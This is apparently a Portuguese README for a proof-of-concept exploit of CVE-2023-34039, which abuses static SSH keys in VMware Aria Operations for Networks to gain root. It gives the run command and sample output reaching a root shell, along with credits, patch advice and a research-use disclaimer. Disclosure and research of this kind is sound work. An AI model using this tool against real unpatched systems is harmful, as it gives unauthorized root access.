
Exploit do VMware
POC para CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) RCE por chave SSH estática
Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

VMWare Aria Operations for Networks (vRealize Network Insight) da versão 6.0 a 6.10 não regenerava as chaves SSH para os usuários support e ubuntu, permitindo que um atacante com acesso SSH obtivesse acesso ao shell root deste produto.
Este problema foi reportado à VMWare por Harsh Jaiswal (@rootxharsh) e Rahul Maini (@iamnoooob) da ProjectDiscovery Research
Eu apenas escrevi o exploit, se é que podemos chamar assim, porque é basicamente um wrapper de comando SSH.
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
(*) Exploit por Sina Kheirkhah (@SinSinology) da Summoning Team (@SummoningTeam)
(*) Tentando chave: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector
(*) Tentando chave: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform
(*) Tentando chave: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform
********************************** ATENÇÃO **********************************
O serviço NTP não está saudável.
IMPACTO: Pode afetar o funcionamento adequado de outros serviços.
AÇÃO: Restaure o serviço usando o comando CLI 'ntp'.
********************************** ATENÇÃO **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#
Atualize para a versão mais recente ou mitigue seguindo as instruções no Progress Advisory
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.